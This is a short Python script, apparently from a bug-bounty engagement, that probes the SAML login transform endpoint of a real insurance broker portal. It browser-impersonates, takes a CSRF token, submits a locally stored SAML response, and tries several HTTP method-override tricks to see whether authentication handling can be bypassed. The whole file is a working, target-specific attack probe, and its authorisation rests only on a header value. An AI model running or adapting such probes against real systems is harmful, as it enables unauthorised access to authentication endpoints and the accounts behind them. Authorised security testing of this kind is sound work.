from curl_cffi import requests
import time,json,base64
host='maklerportal.baloise.de'; base=f'https://{host}/auth/rest/public/baloise/saml2/transform'
s=requests.Session(impersonate='chrome'); h={'X-Bug-Bounty':'dwbzn','Cache-Control':'no-cache'}
s.get(f'https://{host}/auth/',headers=h,timeout=20,toadex_capture=False); csrf=s.cookies.get('CSRFT759-S',domain='.baloise.de') or s.cookies.get('CSRFT759-S')
h.update({'X-Same-Domain':'1','X-CSRFT759':csrf,'Content-Type':'application/x-www-form-urlencoded','Accept':'application/json, application/vnd.api+json'})
b64=base64.b64encode(open('work/scratch/next/01a1c48b-4665-7004-a34f-1207f93ecb7c.xml','rb').read()).decode(); data={'context':'Easylogin','SAMLResponse':b64}
cases=[
('POST',base,{}),('GET',base,{'X-HTTP-Method-Override':'POST'}),('OPTIONS',base,{'X-HTTP-Method-Override':'POST'}),('HEAD',base,{'X-HTTP-Method-Override':'POST'}),
('POST',base,{'X-HTTP-Method-Override':'GET'}),('POST',base,{'X-Method-Override':'GET'}),('POST',base+'?_method=GET',{}),('GET',base+'?_method=POST',{}),('OPTIONS',base,{}),
]
for m,u,x in cases:
 hh=h|x; t=time.perf_counter()
 try:
  r=s.request(m,u,headers=hh,data=data,timeout=15,allow_redirects=False,toadex_capture=False)
  print(json.dumps({'method':m,'url':u,'extra':x,'status':r.status_code,'ms':round((time.perf_counter()-t)*1000,2),'size':len(r.content),'allow':r.headers.get('allow'),'body':r.text[:120]}))
 except Exception as e: print(json.dumps({'method':m,'url':u,'extra':x,'error':str(e),'ms':round((time.perf_counter()-t)*1000,2)}))